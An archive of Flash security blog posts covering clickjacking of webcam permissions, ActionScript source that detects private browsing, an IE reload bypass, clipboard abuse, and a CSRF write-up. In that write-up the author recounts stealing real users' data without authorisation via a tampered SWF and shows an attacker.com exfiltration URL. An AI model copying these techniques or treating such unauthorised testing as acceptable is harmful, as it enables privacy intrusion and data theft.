Category Archives: Flash Security

Say What, Flash is More Secure Than HTML5?!

So my favorite script kiddy and copycat, Feross (copied, note the shameless “I discovered” in his Quora post, LoL)
Found a social engineering flaw in the HTML5 fullscreen mode that can be used for phishing attacks. This time it might be even his own finding… what do you know ;)

This flaw is very much similar to the well known and very old picture-in-picture
Picture-in-Picture Phishing Attacks and Operating System Styles
More info..
IMHO the old version is still way more dangers for phishing.

So How Flash is more secure?

What enables this HTML5 fullscreen flaw to exist in his prime is the fact you have full keyboard access. This way an attacker can more easily steal the user’s credentials.
After all fullscreen was existant in Flash for many years now, yet it was never compromised this way. The main reason is that Flash is more secure is that it does not allow full keyboard interaction in fullscreen.

Good thinking Adobe, taking care our security… oh wait… Flash was added with this feature with version 11.3… after all Flash can’t be left behind…
Working demo…

Damn… but still Flash gives you a decent popup confirmation which HTML5 doesn’t

Yeah, I know Chrome give you a popup too, but you don’t have to click on it to get FULL keyboard access.
I constructed this “amazing” demo here (chrome only), as you can see you get the message but the keyboard is fully functional and accessible through javascript.

So still Flash is more secure than HTML5 – in that respect.

It takes us back to what me and other were preaching about, that with great power comes great responsibility.
HTML5 have its own flaws and the more powerful it’ll become it will get even more.

Stay tuned…

Webcam ClickJacking Revived

Two weeks ago this guy managed to revive my 3 years old Webcam ClickJacking POC and also managed to revive some of the buzz surrounding it.

The revived attack is exactly the same as my 2008 POC it even uses lots of my code. The different is that instead of using the settings manager html page as the source of the iframe it’s now uses the setting manager swf directly. Actually, this was the first thing I’ve tried after Adobe frame bust the settings manager pages. It didn’t work well for my windows browsers so I’ve ditched it. One of the first comment on my Webcam Clickjacking post created the same thing and gave a link to it (it is now links to an AD). So obviously everyone knew it or at least thought about it – everyone except Adobe.

The Flash Player provide great power on the web, it’s still the only practical mean to interact with the user’s webcam and microphone. You know the cliché, with great power comes great responsibility. Adobe needs to be vigilant when it comes to her users security and privacy, and her users are practically everyone.

Obviously that every new version of the Flash Player should go through vigorous security testing. It’s also needs to be done with every new browser and OS version. That’s a huge matrix but it needs to be done. For example, browser change the way they embed plugins which can easily leads to flaws even if the Flash Player stays the same.

Back than Adobe knew about the ClickJacking beforehand coz they were informed by RSnake and Jeremiah Grossman. They didn’t knew specifically about my POC and the way it exploits the settings manager, but anyhow they should have at least frame-bust every related page. It’s insane that in all of these 3 years no one bothered to at least Flash-bust the settings manager SWF and prevent the resurrection of my POC.

BTW, good job Feross Aboukhadijeh, my name is Guy Aharonovsky – whois is easy…

Flash Private Browsing Fixed – Not Good Enough

I was going to congrat Adobe for their fix to the private browsing in Flash, this was my original text:

I’m glad to say that Adobe has fixed the minor issue they had with the new Flash Player 10.1 private browsing. I’ve written before on how a developer can tell the user’s browsing mode.

The Flash Player that is installed with CS5 is 10.1.52.14 which still suffer from this bug. If you surf the web using private browsing mode you should update the Flash Player to the latest, currently, 10.1.53.38 (RC4). Actually you should update it anyway.

But, when I went to see what have they changed in order to fix it. I saw that both modes, now, have the same limit of 100KB, but it’s still differ. While trying to save more than 100KB in normal browsing mode the status is “pending” while in private browsing mode it immediately fails.

Making this demo functional again required changing 1 line of code. Using any Flash Player, from 10.1_beta2 till latest 10.1.53.38(RC4) should show you if you’re in private mode or not.

So, please, again, normal and private browsing modes should behave exactly the same from a developer standpoint. Making local storage limit the same 100KB was a step in the right direction, but, it’s not enough. Let any Flash content ask for more storage even if it’s in private mode and allow the user to accept it, just remember to delete the user’s choice along with the local storage.

BTW, it might be possible to trick the browsers to tell you the user’s browsing mode, using HTML5 localStorage for example, and without using Flash.

The updated source code is below:

package {
	import flash.display.Sprite;
	import flash.display.StageAlign;
	import flash.display.StageScaleMode;
	import flash.events.NetStatusEvent;
	import flash.net.SharedObject;
	import flash.net.SharedObjectFlushStatus;
	import flash.text.TextField;
	import flash.text.TextFieldAutoSize;
	import flash.text.TextFormat;
	import flash.utils.getTimer;
	import flash.utils.setTimeout;

	/**
	 * This class will tell the current browsing mode of the user
	 * Tested with Flash Player 10.1 beta 2 - 10.1.53.38 (RC4)
	 * for more info go to:
	 * http://blog.guya.net
	 */

	[SWF(backgroundColor="#FFFFFF", width="400", height="35")]
	public class KissAndTell extends Sprite
	{
		private var _tf:TextField;

		public function KissAndTell()
		{
			initStage();
			createTF();
			setTimeout(saveData, 300);
		}

		private function initStage():void
		{
			stage.scaleMode = StageScaleMode.NO_SCALE;
			stage.align = StageAlign.TOP_LEFT;
		}

		//try to save 140kb into the local storage
		private function saveData():void
		{
			var kissSO:SharedObject = SharedObject.getLocal("kissAndTell");
			kissSO.data.value = getDataString(140);

			var status:String;

			try
			{
				status = kissSO.flush();
				kissSO.addEventListener(NetStatusEvent.NET_STATUS, netStatusHandler);
			}
			catch(ex:Error)
			{
				trace("Save failed - private browsing mode");
				setPrivateText();
			}

			if(status && status == SharedObjectFlushStatus.PENDING)
			{
				trace("Pending status - normal browsing mode");
			}

			/***  Changed in the newer versions of the Flash Player 10.1 beta ***/
			//If we can save more than 100kb then we're in Private Mode
			else if(status && status == SharedObjectFlushStatus.FLUSHED)
			{
				setPrivateText();
            }
		}

		//Listening to this event just to prevent exception on debug players
		private function netStatusHandler(event:NetStatusEvent):void
		{
			trace("event.info.code: " + event.info.code);
		}

		private function setPrivateText():void
		{
			_tf.text = "Private Browsing Mode";
			_tf.backgroundColor = 0xAA2222;
		}

		private function createTF():void
		{
			_tf = new TextField();
			_tf.autoSize = TextFieldAutoSize.LEFT;
			_tf.defaultTextFormat = new TextFormat("Arial, Verdana", 20, 0xFFFFFF, true, null, null, null, null, null, 10, 10);
			_tf.text = "Normal Browsing Mode"
			_tf.backgroundColor = 0x22AA22;
			_tf.background = true;
			addChild(_tf);
		}

		private function getDataString(kb:int):String
		{
			var t:int = getTimer();
			var word:String = "GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_";
			var count:int;
			var a:Array = new Array();
			var lenNeeded:int = kb * 1024;
			while(count * word.length < lenNeeded)
			{
				a.push(word);
				count++;
			}

			var ret:String = a.join("");
			trace("time for generating " + kb + "kb: " + String(getTimer() - t) + " ml");
			return ret;
		}

	}
}

About the 16 Months Flash Crash Bug

Recently, reports of an old bug in the Flash Player surfaced again. Claiming this bug, that enabled a developer to crash the player, were already reported 16 months ago and still hasn’t been fixed. I remember this bug from when it first surfaced and was surprised that it wasn’t fixed yet.

I had also written about 2 reproducible ways to crash the player, both were fixed by Adobe since then. I don’t remember how fast the fixes were issued but I guess it was on the next dot version.

This is definitely bad, a developer shouldn’t be able to crash the player. But, lets put this into proportion, this isn’t the crashes Steve Jobs is talking about. It unlikely that you stumbled upon this crash and if you did it wasn’t by accident, someone was messing with your player. Again, no one should have the option to crash our player/browser while we browse the web. But, It’s unlikely that this bug, which require some specific and uncommon ways from Flash to interact with the server was ever involved.

Kiss And Tell What Is The User Browsing Mode

To know if the user is currently in normal or private browsing mode can be valuable info for any ads providers and spammers, but not only.

With the upcoming Flash Player 10.1 (currently in beta 2) there are many welcome improvements. One of these is the support for private browsing as described in this article.

For me, one thing that  immediately jumped out from the aforementioned article was that, unintentionally, with the aid of the new Beta Flash Player, websites can tell which mode the user is currently using.

“…in private browsing with default settings, the default local storage limit in private browsing is 1 MB…”

“To protect user privacy, there is no way for developers to tell whether their content is handling normal or private LSOs. Flash Player handles local storage data in the same way.” No it doesn’t!

Not only I can tell about the current status of the Flash Player browsing mode, but now I can tell about the browser itself since Flash inherit its mode from the browser.

Load a small enough SWF (less than 215 x 138) so it won’t ever show the settings dialog.

Now, kiss (sorry for the cheesiness ;)) the local storage with data greater than 128kb. If it reject the kiss then you’re in normal browsing mode, if it accept it you can tell it’s a private mode.

It’s that easy, load this blog post in Private Mode with Flash Player 10.1 beta 2 installed and you’ll see the difference:

The solution is simple, private and normal modes should behave completely the same. In this case the local storage capacity should be the same. Lower both to 128kb or up both to 1MB. Which one is better, you may ask?! I’ll tell you latter ;)

The good thing is that Flash Player 10.1 is still in beta 2 so I’m sure it’ll be fixed for by the final release.

The source code is below:

package {
	import flash.display.Sprite;
	import flash.display.StageAlign;
	import flash.display.StageScaleMode;
	import flash.events.NetStatusEvent;
	import flash.net.SharedObject;
	import flash.net.SharedObjectFlushStatus;
	import flash.text.TextField;
	import flash.text.TextFieldAutoSize;
	import flash.text.TextFormat;
	import flash.utils.getTimer;
	import flash.utils.setTimeout;

	/**
	 * This class will tell the current browsing mode of the user
	 * Tested with Flash Player 10.1 beta 2
	 * for more info go to:
	 * http://blog.guya.net
	 */

	[SWF(backgroundColor="#FFFFFF", width="400", height="35")]
	public class KissAndTell extends Sprite
	{
		private var _tf:TextField;

		public function KissAndTell()
		{
			initStage();
			createTF();
			setTimeout(saveData, 300);
		}

		private function initStage():void
		{
			stage.scaleMode = StageScaleMode.NO_SCALE;
			stage.align = StageAlign.TOP_LEFT;
		}

		//try to save 140kb into the local storage
		private function saveData():void
		{
			var kissSO:SharedObject = SharedObject.getLocal("kissAndTell");
			kissSO.data.value = getDataString(140);

			var status:String;

			try
			{
				status = kissSO.flush();
				kissSO.addEventListener(NetStatusEvent.NET_STATUS, netStatusHandler);
			}
			catch(ex:Error)
			{
				trace("Save failed");
			}

			//If we can save more than 128kb then we're in Private Mode
			if (status && status == SharedObjectFlushStatus.FLUSHED)
			{
				setPrivateText();
            }
		}

		//Listening to this event just to prevent exception on debug players
		private function netStatusHandler(event:NetStatusEvent):void
		{
			trace("event.info.code: " + event.info.code);
		}

		private function setPrivateText():void
		{
			_tf.text = "Private Browsing Mode";
			_tf.backgroundColor = 0xAA2222;
		}

		private function createTF():void
		{
			_tf = new TextField();
			_tf.autoSize = TextFieldAutoSize.LEFT;
			_tf.defaultTextFormat = new TextFormat("Arial, Verdana", 20, 0xFFFFFF, true, null, null, null, null, null, 10, 10);
			_tf.text = "Normal Browsing Mode"
			_tf.backgroundColor = 0x22AA22;
			_tf.background = true;
			addChild(_tf);
		}

		private function getDataString(kb:int):String
		{
			var t:int = getTimer();
			var word:String = "GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_";
			var count:int;
			var a:Array = new Array();
			var lenNeeded:int = kb * 1024;
			while(count * word.length < lenNeeded)
			{
				a.push(word);
				count++;
			}

			var ret:String = a.join("");
			trace("time for generating " + kb + "kb: " + String(getTimer() - t) + " ml");
			return ret;
		}

	}
}

Malicious camera spying using ClickJacking

Update: Adobe has fixed this issue by framebusting the Settings Manager pages. Now, 99.9% of the users are protected from this specific exploit. Congrats on the fast response. —-

Turn every browser into a surveillance zombie. The wet dream of every private eye and peeping tom. Imagine this scenario, you play a short game on the web and by doing that you unknowingly grant someone full access to your webcam and microphone.

I’ve made a live demo of it in here, this demo won’t listen or record any of your input.

If you don’t want to try it or don’t have a webcam connected, then check out the video.

When I’ve first heard about ClickJacking and how Adobe is concerned about it, I thought that the Flash Player Security Dialog must have been compromised. But the Security Dialog does a good job disabling itself when you try to mess with it’s visibility through DHTML. Unless there’s some 0-day issue with the Dialog it’s probably relatively safe.

The problem here is the Flash Player Setting Manager, this inheritance from Macromedia might be the Flash Player security Achilles heel.

I’ve written a quick and dirty Javascript game that exploit just that, and demonstrate how an attacker can get a hold of the user’s camera and microphone. This can be used, for example, with platform like ustream, justin and alike or to stream to a private server to create a malicious surveillance platform.

I’ve made it as a JS game to make it easier to understand, but, bear in mind that every Flash, Java, SilverLight, DHTML game or application can be used to achieve the same thing.

Some of the clicks are real game clicks other are jacked clicks. Every time the click is needed to be jacked the content simply move behind the iframe using z-index

I had doubts about publishing this, but, if I could have understand it so are the bad guys, so it’s better to know about it.

In this case Adobe could have just framebust the pages that holds the Settings Manager. There are two issues with frambusting in this case, it won’t solve all cases (legacy browsers for ex) and will force Adobe to rely on javascript.

Play it here, watch it here

Thanx for not killing the Flash clipboard

Recently, a questionable Flash feature of writing to the user’s clipboard has been exploited. Adobe will finally fix this feature and it’ll require user interaction (mouse/keyboard click) in the upcoming Flash 10.

IMHO the people in charge of the Flash Player security have chosen the best option, retaining the functionality of the feature and still keeping the users secured.

Of course, a user can be led to click on the malicious Flash movie, or focus to the movie can be set and any keyboard press will lead to a pollution of the clipboard.

A more strict security measure could have been chosen, a dialog box asking the user to permit clipboard writing, could have been implemented. The Flash Player already uses a similar dialog when interacting with the user’s camera and mic. An updated Internet Explorer uses a dialog when interacting with the clipboard, allowing both read and write.

javascript:clipboardData.setData(“text”, “I’m in the clipboard”); (IE only)

 IE_clipboard

But, using the later option will make this feature too annoying for the user, and mostly useless.

Thanx for not killing this feature but still making it secure enough.

Regarding Flash movies that’ll still try to exploit this feature. It’s up to AD distributors and website owners to do their part and not distribute or host malicious files.

Encapsulating CSRF attacks inside massively distributed Flash movies – Real world example

Update: Added a sterilized demo and the source code.

CSRF (Cross Site Request Forgery) is considered one of the most widely spread exploits in websites today. I’ve written before about how a legitimate Flash file (swf) can be extremely viral. Few days ago I did a real attack, exploiting a CSRF flaw and elaborated it using the nature of Flash virality. The result shocked me.

I have a confession, I sometime look at the source of websites I browse, generally just to see how they did this and that. I also sometimes encounter security flaws in the script I examine, these flaws range from the very dangerous to the not so important, and my reactions range from informing the owners to just ignore it. I had the honor to find a very lame CSRF flaw in a big website which I’m familiar with it’s owners and some of its users. It was a great opportunity to do a real world test on this exploit. In the exploit I found, the attacker can obtain a lot of personal information from the user. A famous CSRF of similar nature has happened to gmail. Bear in mind that this kind of test is illegal and you should always be sure you won’t get in trouble, or just hide very well ;)

I took the same old viral movie of the pug cleaning the screen (screenclean.swf) and manipulated it (added some simple script) in a way that will attempt to attack any user that’ll view it, if the attack is successful and the user data is stolen it’ll be posted to my database (I’ll review the technical details at a latter point). I’ve then, uploaded the file to a server and sent the link to a few users that I know that uses that website, making it look like a naive chain letter.

pug_csrf

Then, I’ve waited for the stolen data to appear in my  database. It was exiting when the first hacked users started to emerge, and with every few refreshes there was a new one. It got a little scary when I saw users that I haven’t directly sent them the email. It was a proof of the virality of the attack.

csrf_db_table_01t

I was shocked when I saw that some of the users were added to my database being attacked from other servers then mine. This has proved the main point of the test, that attacks inside Flash (swf) files aren’t only viral but also get distributed. I wanted to show that this can happen pointing the screenclean.swf which can be found on ~600 different locations. I’ve never imagined that’ll it’ll happen so fast with my test, and on such an old movie.

After a few hours I’ve pulled the plug on this test and changed the swf file to the harmless original. But it was already too late the swf file got re-distributed (copied to other servers). Since I didn’t set the attack to expire and hasn’t obfuscate the code inside it, It was still attacking users, and worse, someone can look inside the swf and manipulate the attack to his needs. I had no control over that anymore, so we needed to fix this CSRF flaw ASAP.

Using Flash as a vessel to distribute CSRF attacks has some distinct benefits for the attacker:

- Beside the virality nature of these kind of Flash videos and games, swf files gets redistributed (hosted from other servers). This kind of attack will work no matter which server the file is served from, directly or embedded inside an html page.

- Script is hidden inside the Flash (swf), won’t be seen even with “View Generated Source”. Can be obfuscated inside the swf as well. Unless you’re watching the traffic you’ll see nothing suspicious.

- Multiple attacks in one swf. If it’s a game played for an hour, there is plenty of time to try many different attacks. The swf can download new kinds of attacks and/or instructions, when these are available, from the attacker server.

- Attack can be manipulated according to the date and time. For ex, let the swf distribute for a few days before starting to attack, set the attack to expire to make it more stealthy.

- Use shared object (Flash cookie) to maintain the user hacked status, more consistent then a cookie.

- Stealing large amount of data is easier as the data can be taken back to the swf and cross-domain Post can be used instead of Get.

Technical info

First of all, what enable this attack is the flaws and features inside every browser and the Flash Player, as I describe here.

Most CSRF attacks manipulate the user data on his behalf, as described here. The flaw I’ve found is returning live Javascript object with lots of personal data, similar to what happened to gmail. It was done this way, I guess, for ease of development, every page that is authenticated can load the url http://victim.com/personal.php?random and get the user’s data ready for any javascript code on the page, for ex, personalData.email.

The way that browsers are built, when the user is authenticated on one domain with a session or a cookie, every page that’ll load a url from this domain inside a script tag will use the authentication, even if the main page is on different domain. A script tag is one of these rare elements that are exempt from the browsers cross-domain-policy and can be loaded for use on different domains.

When the Flash movie (swf) is viewed inside a browser, the swf is “injecting” a javascript code to the page. This javascript is manipulating the page’s DOM and dynamically creating a script tag, this script is loading the vulnerable url as it source. Most of CSRF attacks will be done at this point, but, since our url is returning data, we need to wait for it and then steal it. We use an interval to check when the data is ready on the page, parse it as a string only with the important data then save it to our server database using the dynamically c
reated script with a get parameter http://attacker.com/stolenData.php?data=sensetive_data. We could have considered putting the data back into the swf and then post it to our server, Flash can do a cross-domain post as opposed to Javascript, might be more efficient when dealing with a large amount of data.

If the attack is successful we save it as a cookie, so we won’t attack the same user more then once. Again, we might consider using a Flash shared object which have more consistency.

Fixing the flaw in the website was just a matter of changing the returned data to a raw JSON instead of a live Javacript object. Fixing all CSRF flaws in a website generally is slightly more cumbersome, but not that much.

Added a sterilized demo and the source code.

Summery

Generally users feel comfortable following links, thinking it’s safe since they’re not installing anything, all the more so when it comes to links for flash and images.

This kind of attack is easy to reproduce, an attacker can simply go to youtube, download the FLV of the coolest short video and repeat the process, or worse, put it inside of an addictive game.

There is a tendency to accuse the platforms for being insecure. I agree that the browsers and the Flash Player will have to disallow scripting between them by default when loading a swf file directly, IE already tries to do it but fails miserably. That won’t solve any scenario though, since the harmful swf can be naively embedded inside an html page with scripting set to be allowed.

It’s always up to the developer to develop secure websites and applications without any CSRF or other type of flaws. No matter how strict is the platform (in this case the browsers and the Flash player), a “good” developer will be able to break the toughest security model in a second by writing vulnerable script.

It up to the developer to be a Safeloper and to produce secure applications ;)

The users should be able to feel safe following a link they get in an email message, it’s part of the nature of the Internet, following links that is.

I also did a similar attack using a JPG but that’s a different story.

Bug in Internet Explorer security model when embedding Flash

Update: I’ve posted a real world example of this bug being exploited.

This one has the same behavior on IE6, IE7 and IE8 betas.

I have only tested this with Flash swf files, but it’s likely that this security is applied and broken the same way, when navigating to different types of files.

When loading Flash file (swf) directly inside the browser without an html page container, for ex: http://example.com/game.swf , most browsers create an html page automatically and embed the swf inside it. FireFox and Google Chrome, for that matter, automatically create an embed tag with some default values, and IE uses this mshtml script (res://mshtml.dll/objectembed_neutral.js) to load the object.

The fact that this automatically created embed tag doesn’t mention the allowscriptaccess property it’s defaulted to samedomain. This way the swf file can script the automatically generated html page it resides in, using ExternalInterface, leading to a major security flaw. I will post about a real world example of this security flaw, shortly.

Internet Explorer, rightfully, consider this generated page as less secure and as such restrict access to the JavaScript document object. It’s preventing from the embedded swf to script the DOM of the page.

Just test it, go to any swf file on the web using Internet explorer, then run this script in the address bar javascript:alert(document); you’ll see the error “Access is denied”. Touching the document is prohibited!

Error_Access_Denied

But, all that is needed to compromise this security feature in IE is to reload the page. That’s it, just reload the page once by pressing F5. Run the script again javascript:alert(document); you’ll see the precious document and no error will be thrown.

Since most of the other javascript objects are still available and among these is the window native object. A swf file, for example, can reload the page on its own using window.location.reload() and then will be able to bypass the restriction and freely manipulate the page.

This script can run from inside the swf using ExternaInterface.call(“eval”, “script”); If the “try” clause fail it’s probably an IE browser and the page will reload immediately without the user noticing. The 2nd time the page loads the “try” clause won’t fail.

try{
   $d = document;
   //Mess with the DOM
}catch(ex){
   window.location.reload();
}

I was impressed that Microsoft implemented such a security feature as opposed to FireFox, Chrome and others who don’t have a similar restriction. but, it needs to be done right otherwise it misses the point.

As I said, I’ll post a real world example of this being exploited, soon.

Mysteries Flash exploit is hijacking the clipboard?

Update: Adobe Product Security Incident Response Team (PSIRT) has referred to this “Clipboard attack”

Update 2: Aviv Raff has updated me about the fact that it won’t be that easy to replicate this attack using Javascript on the latest browsers and with the default security settings. Thanx.

Lately there were some rumors about a mysteries Flash exploit that is hijacking the users clipboard and will always fill it with a URL to some malicious website, no matter what you’ll copy to the clipboard it’ll will always paste the same URL. This malicious website will ask you to download a fake anti-virus. It’s also been mentioned in some places that in order to clear this behavior you’ll have to restart your machine.

But is it really an exploit, a bug in the Flash player that let the attacker demolish the users clipboard until restart?! From what I’ve seen so far it’s not an exploit and no restart is needed, it’s just a bad use of a Flash and JavaScript feature. Both of these allow a valid script to write text to the user’s clipboard. I’m surprised that only now this questionable feature is starting to get abused. The abusing code is probably residing in some Flash AD, in one of the user tabs and consistently rewriting the clipboard.

Although this attack can be done using simple JavaScript, Flash it the right vessel for this kind of attacks. I think that, encapsulating attacks inside RIA code, mainly Flash and SilverLight, is just starting to gain attention and will become a major security issue. I have some other examples which I attend to write about soon.